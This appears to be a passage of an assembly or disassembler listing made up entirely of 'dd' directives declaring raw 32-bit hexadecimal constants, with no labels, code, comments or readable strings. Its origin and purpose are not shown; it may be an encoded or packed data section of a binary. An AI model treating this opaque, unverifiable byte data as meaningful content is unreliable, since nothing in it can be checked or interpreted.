dd 0CDCCA5DCh, 9AE10FB1h, 0EB47CB4Ch, 0AA6C60B9h, 0D83ED050h
dd 805CBB34h, 89279642h, 0FED4FA3h, 94525891h, 72D943C0h
dd 8607A268h, 12C37EECh, 44D3BD27h, 0D295B1FFh, 7E851290h
dd 32529CD8h, 5AC014C7h, 260BB71h, 7597D717h, 2A67EB00h
dd 9C40348Fh, 12767257h, 0F52F979h, 9067A251h, 6075F16Ch
dd 0E07EF033h, 9E975F72h, 0C87D47FCh, 0F2404A95h, 0E4CFFE5Ch
dd 0FDBC87EDh, 0F91E88EBh, 36ED029Ch, 7A517546h, 69FD382Eh
dd 346D4386h, 0FFB89061h, 9D4459C8h, 700ECF22h, 0FFD92776h
dd 12970044h, 7D870AFEh, 0CF0079E9h, 0CB791BB0h, 0FB8B74EFh
dd 0A37D0893h, 1776B208h, 29370C69h, 7359DFDh, 0F6DFDFCEh
dd 205F8CF4h, 85E52F2Eh, 0FFB148F6h, 97E91BFEh, 4CDAA403h
dd 108B8CD0h, 0FA44CE9h
dd 4D94202Fh, 9AD96970h, 50C55398h, 97810F28h, 28E00882h
dd 0E157A8C4h, 886E4A92h, 73E0775Eh, 30EA77D9h, 0A100254h
dd 2B39388Dh, 387B2435h, 0A77C2E3Ch, 0ACDA154Fh, 204208ECh
dd 57E4DA21h, 92859F2Ch, 46EBD803h, 475324A6h, 0E7402108h
dd 0D0500E06h, 20A872FDh, 881C8A15h, 4F1C48E0h, 81004410h
dd 0F27A6A19h, 1C0049E4h, 2530AF28h, 52671074h, 29FBE253h
dd 7511E05Ch, 45494ADh, 105C34E0h, 6631BE49h, 326281F0h
dd 361089B3h, 0E51B3882h, 4D307849h, 13F14A6h, 64508E70h
dd 4187A264h, 404DC08h, 0C818F70Ch, 7238E3DEh, 89171629h
dd 76CD019Fh, 8980393h, 0C208B640h, 8C911103h, 84DA546Ch
dd 70D48375h, 0E20CB885h, 256C849Ch, 10A0406Bh, 1F6E6BBCh
dd 54C61C69h, 0B799E929h, 0B259C926h, 9950B846h, 802D45CCh
dd 22A4CF96h, 0DCB87D01h, 4C142D04h, 286A0CC0h, 70C3919h
dd 9B11D0B1h, 4FC000A8h, 0F55E2ED9h, 262A46Fh, 0A4BFF40Ch
dd 0A0846010h, 28682E0Ch, 0EAB151A4h, 1143B817h, 888B0CA0h
dd 9700B44h, 964EC5Ah, 14950860h, 8C509140h, 110707Ch
dd 1FF214B6h, 1B89CD08h, 8578F014h, 14ABE013h, 0EE9A65Bh
dd 88F81084h, 62872F14h, 0E11FEFFh, 334C2433h, 8D793D3h
dd 0A6838984h, 0B9C74408h, 6D05EEC3h, 82F25B7h, 20490C64h
dd 0DAD8400h, 2086664h, 80D80F24h, 11820DCh, 84107042h
dd 28A9B90Fh, 3C954680h, 2E480A5h, 180F8421h, 1819F16Ch
dd 0A8489A01h, 899AAB70h, 1E81437h, 10AD9D0Eh, 58C9C1B5h
dd 8DE47B50h, 0E16AB766h, 0B83A2FDFh, 0F3755B03h, 7384936Fh
dd 0DE5D1C3Fh, 257B6489h, 8E75A39Fh, 843C3401h, 4A7B6B32h
dd 0C5E763B1h, 4074CAAEh, 120A3C01h, 3C027515h, 576441E2h
dd 0A9B56B93h, 0F85BCB43h, 16CD0CBh, 1CB83C90h, 209E754Ah
dd 0AAC1ADF4h, 5C726225h, 9595FB86h, 0E22DC8C8h, 0D4FE0A0Dh
dd 0D2D0F2CBh, 630BE6D4h, 5A06EB2Dh, 69742804h, 29637025h
dd 981D022h, 0E4FF071Ch, 200FB5A2h, 18023882h, 3AC0AB4Eh
dd 0D2C9B714h, 333E01D9h, 1F2534EFh, 8A30B843h, 1612F5Ch
dd 0A62D1FFh, 750A93AAh, 0F2FF0122h, 7F640385h, 342F901h
dd 0FC01BF65h, 5F6603A1h, 350FE01h, 0FF01AF67h, 68570328h
dd 394FF01h, 0FF01692Bh, 6A1503CAh, 0AE5FF01h, 0FF016B03h
dd 6C0385F2h, 418E012Bh, 0D06EB20h, 50381E10h, 0C933806Dh
dd 0D9B0E983h, 174E4EEh, 815BF424h, 0ECC81373h, 830F877Fh
dd 0A0E2FCEBh, 0CA94B334h, 1E80E220h, 0FFB93778h, 0DDFDEC9Fh
dd 35280C2h, 90D8B082h, 0C1870C1Fh, 7E83C3Bh, 0ED43CE94h
dd 0C8268683h, 74641EBFh, 0CFF3005Dh, 0C98AB518h, 7379941Bh
dd 0AF5B8D06h, 40403CBDh, 4300E1ECh, 970C34D5h, 6C7EC5h
dd 0EF4F5CBh, 0E663FDA4h, 0E80B3Bh, 4F9A43E3h, 0ED5880Ch
dd 74D4F7F4h, 87C0C780h, 861C0917h, 378793D7h, 0AEF0190Fh
dd 75B54CB1h, 0F0C74A0h, 57808D97h, 7B921200h, 51F089F3h
dd 9A0050F8h, 773449E1h, 0B39D85h, 0B118787Dh, 743D8EA6h
dd 1E072878h, 9BD42C8Ah, 8B473C47h, 688E508Dh, 79FEC5Eh
dd 805D66F6h, 1EB89DDBh, 6FB339C3h, 0AF26C8D6h, 746C07EFh
dd 829F6E51h, 0C80D4A9h, 0CEF9902Dh, 309CD788h, 4A882A8Dh
dd 0B10D6017h, 0E0D0061Fh, 15BF1986h, 1C0F80E3h, 3C41EAh
dd 0B3F091D7h, 742F730Eh, 0CC2A503Bh, 27620074h, 9B36AA3Dh
dd 45001453h, 632C47A3h, 0F8F51772h, 78690A6Ah, 8C9DBDh
dd 0D62D8E93h, 15338899h, 0C02A0886h, 0EA170937h, 0B1DC1911h
dd 201590D4h, 88A0EE1Ch, 830C8E43h, 48BD0C04h, 38E1C09Ah
dd 9BD87B53h, 45C05483h, 7501A76Dh, 784D977Eh, 699C3F6Eh
dd 0BACA4E7Eh, 155D2ADAh, 8E13237Ch, 10F57962h, 27B5A793h
dd 0BB86A76h, 22DE5C11h, 0A4129D19h, 758D897Fh, 3AD03D46h
dd 0A72D3C45h, 0F027F5Bh, 0D8557942h, 945D50D1h, 0C6467B52h
dd 4633302Eh, 3F0A0581h, 0A8525834h, 2F80D4FEh, 61DB4EA9h
dd 45DB2269h, 0AFC80CA1h, 0AD6DDD5Bh, 8607D3Bh, 46662FA7h
dd 8EAA5106h, 0D23271ACh, 6450AE8Eh, 0DBE15E30h, 72E3BFC7h
dd 0B5AF8C30h, 34388732h, 43E23532h, 0E6735761h, 818975A5h
dd 0B6C365DDh, 3010343h, 7C392C30h, 41C45E20h, 534F3A42h
dd 12374C1Bh, 3127ECE7h, 77D85081h, 0B9724A33h, 257930BEh
dd 0DE382C31h, 5730010Ch, 0FA44336Eh, 337A5975h, 54D236F0h
dd 0C357BE55h, 303531A7h, 0DD4A4FFBh, 492D40EFh, 5952414Eh
dd 482CDC9Dh, 7C21DA7Dh, 0CE544552h, 19320885h, 0FB4FDEB2h
dd 35F7EBECh, 7C29FB4Bh, 0E0BBA50Dh, 186603D6h, 14890478h
dd 5B5F242Ah, 5D2C5E1Ch, 0A5906ABh, 581A85F3h, 0B0B01FC8h
dd 53494C93h, 2C9120AAh, 4AD17E50h, 0F77A6576h, 0C77F9F48h
dd 9FC94Fh, 5341507Ch, 97B85652h, 0EAB452BAh, 0AB492D98h
dd 182BA5AEh, 10E94122h, 54505954h, 0E353845h, 2F222037h
dd 4E7CE853h, 64AB72BEh, 21677357h, 575007F1h, 91330444h
dd 3E655248h, 0CD5944C9h, 0AC53304Ch, 7F65A2CCh, 796E8781h
dd 47843F46h, 5914191Fh, 6833CC18h, 6B569755h, 2E38127Ah
dd 338E30B0h, 65F53129h, 71E0312Ah, 41EBA075h, 3578549Fh
dd 0FC65AF0Ch, 0BB302C32h, 77B7CF60h, 0ED6A2E9Ch, 0C0F34FA7h
dd 0D7CB0F6Ah, 0AF2C97B1h, 1AE6F69Fh, 89DDEB6Eh, 48FDFA9Ch
dd 0B57BDC47h, 2F1ADEEEh, 90A22E31h, 0D64B4F15h, 4CE6A336h
dd 796D1758h, 1E6B27E8h, 2DA011FDh, 6E3AB67Eh, 287EFE2Ch
dd 2C641263h, 10967313h, 7A119012h, 0CE41E778h, 589F303Dh
dd 1E12F670h, 7C342585h, 7F3F3815h, 0AB266E91h, 4C511248h
dd 19670A92h, 26929B7h, 90E4FD41h, 52522D2Fh, 98D29A40h
dd 5544D92Bh, 50BDFF44h, 470D0334h, 7E22544Dh, 9D2D15E4h
dd 0D6952070h, 0E91AA12Bh, 2B2A635Eh, 5F144FFBh, 2EB6D2ECh
dd 364D79BFh, 0F08F0426h, 0F6DC8D5Ch, 0A0C3FEE3h, 34B3FE9Ch
dd 37F5026Ah, 24D3608h, 848B79EEh, 0E87F5756h, 38A17675h
dd 7E3CCF2Fh, 0A7D3D565h, 6CF0DEB6h, 2FFE781Ch, 6CF83D98h
dd 66514899h, 0E4318A6Ah, 381E5589h, 0FCD32843h, 69FA4A92h
dd 5CBD2E7Dh, 5C092ACCh, 464ED69Ah, 69C432AFh, 5D12125Fh
dd 0AB922BD0h, 0DFED2BFBh, 0AE4ABBDEh, 0E13C0032h, 14B43E93h
dd 0A502FB0Ch, 0C0534C4Fh, 393D4E3Ah, 3E0D3322h, 0D12C483Ch
dd 1B2AA02Fh, 822249EFh, 4C42410Eh, 20AAF45h, 0AA59444Fh
dd 4D0FFD09h, 9248344Ch, 45948EEFh, 7B15A17Ch, 65A6B1CFh
dd 9D2D252Ch, 0EE302836h, 280FCA32h, 15CA2B9Ah, 7A464D29h
dd 7A579544h, 0A248F849h, 94DD0893h, 46F9A1A0h, 3CD19280h
dd 0F5254209h, 0E0827B85h, 0CAC3AD47h, 1CDAF12Fh, 6B566433h
dd 9CD3D134h, 41595429h, 180A87F7h, 61702E51h, 57265873h
dd 481F3B2Bh, 0C83EDAECh, 0E10A1CF7h, 0A11C3914h, 94D5D8DEh
dd 0FF9D62Dh, 2F7315C0h, 0D838B4BAh, 46394332h, 0D7BB931Fh
dd 14B6A9C4h, 411FA78Dh, 450D15A6h, 5B1A46h, 2ADABC94h
dd 32BB249Bh, 2F64CA14h, 4E34CF06h, 2A0B3520h, 73DC063Ah
dd 914D410Dh, 9BF109BFh, 71335A84h, 84B95C42h, 3DB26150h
dd 0BF21857Ah, 955405EAh, 0CC7AACF6h, 0D6EC913Bh, 0B40426E1h
dd 55FE6F57h, 0DE9AD54h, 21836227h, 0D5DD4A20h, 0DCBC5396h
dd 0FA4E056h, 492B31B2h
dd 620B550Bh, 39440712h, 4C5520D1h, 6208BA1h, 0E768529Dh
dd 0AA309C9Ch, 0A43C592Dh, 414510D8h, 49727BA4h, 0A63F4CD1h
dd 0A3DA9B27h, 0E9E22625h, 54A7EC3Eh, 53469A4Bh, 0A093906h
dd 70E36552h, 131D5FA5h, 368DEB48h, 0AB35F72h, 88F6BF8Ch
dd 9B5DDBD2h, 9CF47903h, 8131A8B3h, 58DD4E09h, 347C9AFAh
dd 0BA634F44h, 74F24A24h, 0E289AFD2h, 0B4D4F82Eh, 0E400F6EEh
dd 6ABA3E35h, 8A3C43B8h, 0B7746A43h, 9CAE8367h, 3D488774h
dd 6F769FFAh, 0C84023D5h, 96D05C88h, 0AF4BAA86h, 3F3C846Dh
dd 0BAC4AFF4h, 40736A05h, 8F55C396h, 8C45952Ch, 0F95C5389h
dd 99755263h, 0DB6F2928h, 0B65843B4h, 98578526h, 696D3050h
dd 252041A9h, 0A1A34BAh, 55C968A7h, 0D2B4A6E5h, 0E344A3BBh
dd 0F4564150h, 4B6C0142h, 0A2BFD442h, 0EFDA7E79h, 14C01D12h
dd 5C490A4Ch, 0A45D6A25h, 0E6BB2C25h, 24EB4AECh, 92F82B03h
dd 0FB4EA43Fh, 0ED2E2079h, 6327A91Ch, 263C79A4h, 441BED63h
dd 137D5225h, 0B51A7A49h, 0B79B6D72h, 0AAD28EAAh, 5CE750EEh
dd 5B2E73B1h, 0CDFFD3BCh, 985EA7B2h, 0F4432DC3h, 1FF9B568h
dd 201D7FA7h, 555A38A9h, 37493AD1h, 0A2579530h, 0FE5C4634h
dd 910E5E84h, 0CCAE9270h, 24937350h, 9DA41CF2h, 0F1487CFCh
dd 604A5569h, 631AACA9h, 48C86C97h, 88737D52h, 191AF525h
dd 7314703Fh, 7F12966Ch, 0B770574Ah, 0B02CA93Eh, 9A408EFEh
dd 0C841857Ah, 88295FA8h, 45445C72h, 4C802B71h, 2628A5B9h
dd 6D4BB654h, 0E97B479Ah, 6C692434h, 68457FF9h, 0E79A5ED3h
dd 50B25E98h, 27FD34D0h, 3C6DB4FFh, 1AED6276h, 0D47F4944h
dd 4E24F476h, 59910B11h, 0E9C54C5Fh, 0E2D2441Eh, 0A4204159h
dd 4021CE72h, 47A89754h, 2532AFC9h, 0ACD45B55h, 7C69797Ah
dd 3D21C59Eh, 5C973ABh, 926B0481h, 0C0FC786Ah, 0CB7F2DA2h
dd 17B85A4h, 70D5AFF5h, 80EB781Ch, 87EA7F5h, 0CF88572Dh
dd 0FC69FD80h, 0E94CE4F5h, 424D2C29h, 0FAAD4BBBh, 96AE01D1h
dd 6CC19AFh, 0EF00376Ch, 6D680A5Bh, 5580A185h, 0DB62D549h
dd 0FE567062h, 6E4FE46Eh, 0FB67E1FEh, 0D0FD2F4Bh, 7F007326h
dd 7F31FE6Dh, 50BC005Fh, 0EA2045BCh, 61B9495Eh, 0AF6E7973h
dd 465A5C80h, 43826012h, 9A0A7D2Eh, 7F6BF700h, 92D4E812h
dd 80A38823h, 0AE5996D5h, 2156AC1Ch, 44E2807Eh, 97747AD7h
dd 80687BF4h, 0E042E4F5h, 6D37689h, 20BA09BFh, 0A7478704h
dd 0BC5EAB8Bh, 5BFA4D74h, 4725C1F2h, 0BA7A09BDh, 0BAF45680h
dd 1023FBCAh, 0CCE5DC72h, 27BD801Eh, 4D12BB80h, 0EE759479h
dd 40F3CDD5h, 58AB8047h, 61631300h, 7FC77D12h, 42810789h
dd 29736FCFh, 5380BD6Ch, 1D8738Ah, 81677226h, 89234813h
dd 37A9DF50h, 3B52D18Ah, 723129E0h, 20382639h, 0B7832A09h
dd 3ACBA3E3h, 0EE8A898Ch, 4E7E8B4Dh, 70A1B865h, 84D601AFh
dd 0B7FFB880h, 26ECEF70h, 9AF31BCh, 4DC175B0h, 6B57B72h
dd 63F62CF9h, 9D0DD61Ch, 0B3F11472h, 0AD6F1F30h, 86EB1E12h
dd 70E62F31h, 4E277BFFh, 59EB579Eh, 9A6D81D9h, 0D55A6520h
dd 9CD6B1D0h, 635E0FAAh, 0B33BCAB3h, 0D2D17249h, 0E552A5BAh
dd 8EBDF2F3h, 62120871h, 1462BD33h, 6765240Dh, 101B5178h
dd 2B53455Bh, 0B2075D43h, 14837002h, 29E53146h, 71029507h
dd 0D2323E0Dh, 72029907h, 0ED330D53h, 2950729h, 343E0D73h
dd 29907D2h, 350D5374h, 950729EDh, 3E0D7502h, 9907D236h
dd 0D537602h, 729ED37h, 0D770295h, 7D2383Eh, 53780299h
dd 29ED390Dh, 79029507h, 0D5308FADh, 7A02D907h, 33FA1449h
dd 317B32C4h, 19DE1932h, 4C6012C0h, 187E480Fh, 49B31A2h
dd 0C628034Bh, 0E104A632h, 14B14002h, 9C044D33h, 94232303h
dd 3D90434h, 3539C224h, 39C044Dh, 36942325h, 5E03D904h
dd 4D3739C2h, 26039C04h, 4389423h, 0C22A03D9h, 44D3939h
dd 2328039Ch, 0D9043094h, 39C22903h, 2D07C2BDh, 85F6708h
dd 5209BBE6h, 2B2B0B3Dh, 2D091114h, 5D0A615Bh, 292075Dh
dd 35F87451h, 5DD8990Bh, 120B0D94h, 51674501h, 0B480DC3Dh
dd 0B0D209Dh, 375411C2h, 700B430Ch, 0BC594984h, 1D10BD0h
dd 0E8205526h, 50B3690Bh, 0B690929h, 4F990148h, 0B4A6F09h
dd 9B500144h, 0A20BA1C0h, 0DCDB5201h, 52FF166Ah, 8DD0127h
dd 39C27D59h, 61099441h, 149A40Bh, 1BD4BA53h, 4423840Bh
dd 0B640929h, 468C104Eh, 0BA56609h, 47650122h, 0B296709h
dd 29480113h, 480B6809h, 94A9901h, 440B4A6Ah, 9CA4B01h
dd 26520B6Bh, 52094C01h, 1910B6Ch, 3B09BA32h, 583A0B91h
dd 2789DE14h, 16852218h, 3410745Ah, 58014B0Bh, 0B1A4C3Ah
dd 8430127h, 0A40B6314h, 3A56014Bh, 840B1B9Ch, 59E74222h
dd 2214D63Dh, 0B6E524Eh, 4D19219Ch, 0B4A6D09h, 0CABC0144h
dd 450B2C09h, 0BE14623Ch, 3E622E24h, 2FBF4414h, 3F2E238Ch
dd 5C23DC91h, 91237C1Ch, 435B0111h, 5D4C5254h, 0F0590759h
dd 7C4957F4h, 0CA07AE4Eh, 68042002h, 99425307h, 2F2CB228h
dd 0A15250A4h, 9407190Eh, 63149102h, 0ED4B4C16h, 58D90764h
dd 0F9687FF7h, 0F136075Dh, 0B6D49D7Dh, 5907563Fh, 47929841h
dd 0B2F6E755h, 0E9EC3307h, 0AC444544h, 41990775h, 0FF4EE3F7h
dd 0C1EA07DAh, 0FFF76BCDh, 33CB07EAh, 454CE841h, 0AC547D46h
dd 3E2DB307h, 5207B7E8h, 52FA044Ch, 50484734h, 2D990765h
dd 574FE28Dh, 940719A0h, 7A149002h, 19DC4D55h, 4E583507h
dd 1CE1777Ch, 0CB81B96Ah, 6D5C8816h, 5178E760h, 9659736Bh
dd 0B960602Ch, 0A2F0CE9Ch, 6E645161h, 1C62A2F0h, 63210AEFh
dd 64A2F0CEh, 210AEF1Ch, 0A2F0CE65h, 0AEF1C66h, 0F0CE6721h
dd 0EF1C68A2h, 0CE69210Ah, 676EA2F0h, 96C23BA8h, 29F5C8BAh
dd 7CBB22C9h, 0F2AB9D7Dh, 0E07C521Ch, 17242945h, 0A770182Ah
dd 93FD2514h, 0F0EFC4F4h, 48AF29D5h, 34C81C21h, 93F37F72h
dd 79664C27h, 0A168A73Ah, 74C80B94h, 9C4BF06h, 88B8C044h
dd 6C5E2E3Ah, 3A14873Ah, 21EC182Ch, 3F40E487h, 25F92421h
dd 7E5EC80Fh, 2AF22643h, 0FC2D901Fh, 2FE4872Bh, 0F95C213Fh
dd 3FC80F3Dh, 0F227437Eh, 7E901F60h, 0E48720FCh, 3EB1EB2Eh
dd 0E8C845C2h, 21437618h, 901F40F2h, 8725FC24h, 213F5EE4h
dd 0F2AF926h, 437E2DC8h, 1F2FF22Bh, 3DFC5C90h, 3F3FE487h
dd 60F92721h, 7E7EC80Fh, 2EF12043h, 9E3A6E69h, 180EC851h
dd 437E21C8h, 1F24F240h, 5EFC2590h, 3F26E487h, 2DF92A21h
dd 7E2BC80Fh, 5CF22F43h, 0FC3D901Fh, 27E4873Fh, 0F960213Fh
dd 20C80F7Eh, 682E2D7Eh, 0A9266A56h, 1DB0A25Ch, 0FC249018h
dd 2EE48725h, 91C4E2EEh, 183BA460h, 0E8E72E25h, 180E606Dh
dd 437E24C8h, 782EF125h, 7E21880Fh, 25F22443h, 8857AD1Fh
dd 435C18B9h, 1F24F221h, 20F82590h, 4B444307h, 56687965h
dd 95E07E9Dh, 1A31423h, 5CEA094Eh, 50182918h, 4521504Fh
dd 6AF5D252h, 2D18179Ah, 610D87DDh, 0B9697D5Bh, 0FD47AD4Fh
dd 0A18A628h, 54485355h, 0BD6F0245h, 0B0184200h, 0E7796170h
dd 3D87C7Ah, 945930A9h, 0A9184C06h, 0ED7A3009h, 0E030918Ah
dd 474F432Eh, 0DE53894Dh, 0BE43168Eh, 0A69580Fh, 1F7A183Ah
dd 0C2DA2501h, 0A2460881h, 42E0DD0Fh, 56B54F79h, 0D075DA38h
dd 292825BAh, 34FAA4F1h, 0F775F22Ch, 87BADDF7h, 1E7E79BDh
dd 9846554Bh, 721AFCB5h
dd 34014A7Dh, 4420B634h, 46A78353h, 50955D8Ah, 0B6325D27h
dd 5F4B801Dh, 75AC5A28h, 87CEECAFh, 344B2Eh, 0AB4B24B3h
dd 4C2D77C8h, 3F081928h, 8C301F36h, 236C4608h, 36330E2Eh
dd 83073733h, 0DAC43230h, 38F346A8h, 4BC52Fh, 422D3A22h
dd 0C91B576Fh, 16BA194Fh, 47C4AE2Eh, 29927C8Eh, 92E022A8h
dd 4BA3D029h, 5284A440h, 3214A445h, 4F844385h, 0F45DF8E5h
dd 38262C1Dh, 26746992h, 0A4299268h, 1092C422h, 0EBA4413Ch
dd 48C4E4A5h, 4C32545Fh, 2D760A72h, 275F2055h, 18F3327Fh
dd 1C2F4C20h, 0AF392E30h, 5556C923h, 3CB24EE2h, 0C848D3D5h
dd 2269EF1Bh, 0BCB5369Bh, 7F0B4606h, 95842DF8h, 0FA381888h
dd 38878F1Ch, 374A46D1h, 54346DE4h, 0D5343F67h, 0FD3443DBh
dd 1BAD0132h, 0ED014D30h, 0E6B4B83Eh, 0AA6E4F0Eh, 0B2AE6635h
dd 7E94FAFh, 424B127Eh, 3D96C42Fh, 0F7ED6B28h, 6BB4F64Ah
dd 9847778Bh, 0BA4844A1h, 7DAD4721h, 6D7A2A9Bh, 71B4FEB5h
dd 5D1BA140h, 9E97FC27h, 855AF4Dh, 65D14C38h, 0F4D9BC6Fh
dd 4F343864h, 5A044A2Dh, 4846D83Ah, 1864AB5Ah, 1EEA36AFh
dd 0D3207056h, 59C0CABAh, 301DF928h, 0BB72667h, 0A738E75Fh
dd 165289FEh, 3EFCB5C7h, 8F2C3C52h, 0EB29A1F0h, 0A1004575h
dd 1AB45253h, 432B2C8Dh, 0B6AF857Bh, 3E44C900h, 0FC2848FEh
dd 5BDBA9A4h, 1A4439BBh, 282E8A29h, 0F1F8D77Ah, 0F6D8D6B7h
dd 80B54B8Dh, 8978E3AFh, 0A74B9D44h, 5EC8E85Eh, 6997A3Fh
dd 9B09FFC9h, 50A1521Dh, 0C9A4564h, 59DDA69Ah, 5028C93Eh
dd 9D76695Bh, 0D2D4D925h, 6918FBD7h, 8C68573Bh, 4D547040h
dd 3AF95E3Ah, 3846209Ah, 46666AD2h, 8AFB9634h, 0CB4D57BCh
dd 2923152Ch, 6D5F6B80h, 0F95396ACh, 57559E69h, 9D955B18h
dd 0FC03A1BAh, 505A4455h, 0FB83DFEh, 3D458B40h, 787030A7h
dd 4F03533Dh, 54454B43h, 8F529B5Fh, 4E96749Eh, 2866DFAh
dd 6A443DE1h, 374156B7h, 0E862D4ECh, 4BF4901Dh, 936403F0h
dd 0E9B4CF91h, 5B18F65Bh, 1F1496F1h, 462C8C3Ah, 3692F61Ch
dd 2C6985B3h, 997E2635h, 0F86B3B2Bh, 6B68A77Eh, 4B292898h
dd 3AA9F72Fh, 5B17F230h, 0B490D3B8h, 94248Bh, 73D95CB9h
dd 604AD4ADh, 0DA9063C6h, 4F4DEC92h, 42F34DA3h, 27AD5002h
dd 6DEA5B67h, 0B54D22C0h, 0F7C989AAh, 0D9DF69FAh, 0C208B6BAh
dd 0CFB7319Ch, 0A0935D7Bh, 66D73DEAh, 5A7486AFh, 0CE74AF61h
dd 0E05AD0F6h, 48F36469h, 74D03405h, 53A2B09h, 0B8395D97h
dd 0FC67DA93h, 0E5B8D2CFh, 0AF645A73h, 0A463D03Ch, 4F1AE114h
dd 0A12B3DFAh, 0F5521C34h, 394F463Bh, 660438BBh, 0D3C476B7h
dd 88B7104Eh, 9387B25Eh, 344316BDh, 39E3AAE5h, 6AB43191h
dd 64FF4E30h, 9243D92h, 43267315h, 0AB77DA3Ch, 2AE57515h
dd 0C551D1ADh, 3B44692Eh, 6BA4CBACh, 5BE64368h, 0B9B27BAh
dd 0A428E55Dh, 3699428h, 8014018Eh, 0ADEC6EADh, 9325FB5Bh
dd 0A80C4A55h, 4026F362h, 24427743h, 0E474FAF4h, 242C9A74h
dd 8C7E9F72h, 0AD157C4Bh, 0E9A3A35Bh, 515A2CC8h, 24E4A1CCh
dd 5A70A1B8h, 0C2862034h, 77239CEBh, 0C201CDFFh, 95622B61h
dd 0C83E2930h, 38D23C29h, 0DB641D67h, 7DD9ABF7h, 629B98EFh
dd 72662D0Eh, 3625AFD5h, 0D0446610h, 0E4F85ADDh, 6F2C39A4h
dd 8951AFDh, 9355B24Fh, 0BF96B0EDh, 602B9034h, 13520C46h
dd 66312E02h, 0FE4E424Bh, 4A0F4053h, 5A2CDE4Ah, 446554Bh
dd 0D74B4485h, 60853EC4h, 616DAD7Bh, 23EFD3F6h, 3E1DEA38h
dd 25C9DFEAh, 127D5B92h, 1643DDA3h, 52283E85h, 46D25D45h
dd 0E22C912Dh, 24BD8A67h, 58F79A52h, 0B4A8D1BDh, 0C22819FDh
dd 0BA639717h, 0AE975F8Eh, 84D7B88Dh, 49708DA6h, 2D9CDB44h
dd 810A1B75h, 0E83E6443h, 1CEA9391h, 946A2FE9h, 0E4C4B1B2h
dd 77D1D2DAh, 81E8FCF1h, 1F2B55ADh, 0AB03EED5h, 4DAC963Fh
dd 658EC12Ch, 0EA5B0935h, 3C0E7C6Dh, 0A5FEADD7h, 7DEEC1A1h
dd 64BFF47Ah, 0AF6F9682h, 3A0B4856h, 0C46FD55Ch, 50E35EBEh
dd 38639373h, 73CB2057h, 0A4E46FD5h, 48157208h, 0DAAD77AFh
dd 0FC566F0Dh, 43E49FABh, 25AC9DA1h, 323BA2C8h, 7D70B275h
dd 34218D7Bh, 204F6772h, 2A429416h, 0D5E8A29Eh, 2CB514AFh
dd 1FC53FF9h, 7D49F7AAh, 6D1F22DFh, 791465F9h, 0C25B642Bh
dd 55A74C22h, 0CAF58949h, 50907F5Bh, 44FC5028h, 0E43C6899h
dd 37EA0240h, 63057929h, 53DF065Ch, 4BB7202Ch, 281D3382h
dd 84A42F1Ah, 2965725Fh, 2A556E69h, 554503C2h, 544CF87h
dd 38CDFC4Fh, 0EC492F41h, 0D9188CE7h, 2B4D281Ch, 74F80399h
dd 0B442E76Ch, 0FF1FC244h, 5405D589h, 0EF071269h, 1C09B789h
dd 0D367B83Eh, 0C9F6D7EAh, 0EADE2A12h, 15A21C68h, 6890569Fh
dd 0E8BBA11Ch, 92D52720h, 203B159Bh, 15745580h, 909DAC6Bh
dd 1C03E435h, 8B4C4454h, 0C9094A2Eh, 50381260h, 6C4C9C4Fh
dd 0A9794A6Ch, 0B4FAB5DDh, 5CBF2FAEh, 0DC7ECBA4h, 32B65425h
dd 89357B1h, 4C3D0CBEh, 0C2FFF24Fh, 0C9FE8445h, 0D4172906h
dd 41CC4EF1h, 2C12BA29h, 7AFC68Ch, 3439320h, 1033B190h
dd 312419A8h, 0D8211C09h, 267802AFh, 202011B4h, 198066B2h
dd 14643118h, 0C481009h, 28B7848Ch, 8CA66F4h, 46E1908h
dd 0F8311109h, 8CB6E821h, 1892FC08h, 1041CC88h, 19CCF879h
dd 89F009F4h, 24E812ECh, 88E048E4h, 0DC1948F0h, 988D811h
dd 0D4194908h, 991D011h, 44C822CCh, 0BC89C0C4h, 0B424B812h
dd 0AC91B048h, 0A444A822h, 129C89A0h, 48882490h, 22749180h
dd 5C64446Ch, 4C125489h, 38484424h, 2C223491h, 891C2444h
dd 24101218h, 20225C08h, 0EC4491F8h, 12DC89E4h, 48CC24D4h
dd 22B491C0h, 9CA444ACh, 8C129489h, 74488024h, 60226891h
dd 89505844h, 24381240h, 9124482Ch, 4414221Ch, 0FC88040Ch
dd 12F08190h, 48DC24E8h, 22C891D0h, 0B0B844C0h, 0A012A889h
dd 8C489424h, 74228091h, 89646C44h, 2454125Ch, 91404848h
dd 44342238h, 1889202Ch, 112E0C12h, 228FF410h, 0DCE444ECh
dd 0C412D089h, 0B048BC24h, 0A022A891h, 89889444h, 24781280h
dd 91684870h, 44502258h, 2C893844h, 1C242412h, 0C911448h
dd 8EF88870h, 0E412F081h, 0D048DC24h, 0BC22C891h, 89ACB444h
dd 24A012A4h, 918C4894h, 447C2284h, 64896C74h, 50245C12h
dd 40914848h, 30443822h, 12208928h, 48142418h, 8DFC8D08h
dd 0E80991E9h, 0D844E022h, 12C089CCh, 48A824B4h, 229491A0h
dd 95F81B88h, 1132E842h, 24780980h, 91704874h, 44602268h
dd 48895058h, 38244012h, 24913048h, 14441C22h, 14088910h
dd 0D8F484h, 0A650B318h, 4C64D22Ch, 59B93C3Ah, 1CD4B434h
dd 0E93824CCh, 8C4C6866h, 345C048Ah, 0D880C411h, 58B32048h
dd 64711C96h, 9168CFCh, 89F0F444h, 24E812ECh, 91DC48E4h
dd 44CC22D4h, 80AE04C4h, 5C84BC98h, 0B829C066h, 0DB982309h
dd 0B40CB414h, 0CECC0462h, 39AC664Ch, 0A04509A8h, 1C22D804h
dd 0F7309694h, 10841994h, 2499B0B2h, 22781380h, 68447009h
dd 125C8964h, 484C2454h, 22409144h, 2834443Ch, 18122089h
dd 0C481024h, 36250891h, 3563F9F8h, 0CC347C09h, 7BE023BBh
dd 0FD6F79C1h, 7310537Dh, 0CB2E5EA4h, 0ACE7781Eh, 6E6C1B3Dh
dd 61EF046Fh, 9E700834h, 6D3F385Ah, 3451663Dh, 0C2301190h
dd 10616875h, 0E6EF6579h
dd 0B51FEE13h, 0F064880Bh, 75756725h, 52497818h, 423690B7h
dd 9F59704Fh, 13CF78FEh, 53488CAAh, 7F206C6Bh, 5E67E0CCh
dd 144A6602h, 0D064610Ah, 5456550Eh, 7C5F1C14h, 627190A8h
dd 524248A8h, 70E1B7E5h, 72748A28h, 69104C41h, 7F796D22h
dd 0E176776Ch, 8F87F17h, 66706473h, 67827254h, 2D41B7EFh
dd 0F22BBDCDh, 88416F90h, 717C0773h, 47B53A38h, 69597C51h
dd 0FC7D8ECAh, 79F7747h, 3C686465h, 2D4495EEh, 7B088866h
dd 0A485F0BFh, 1024F111h, 6810A07Dh, 8625175h, 316A47B6h
dd 8A473F0h, 1A922D7Ch, 0DD771081h, 7F402368h, 626D6112h
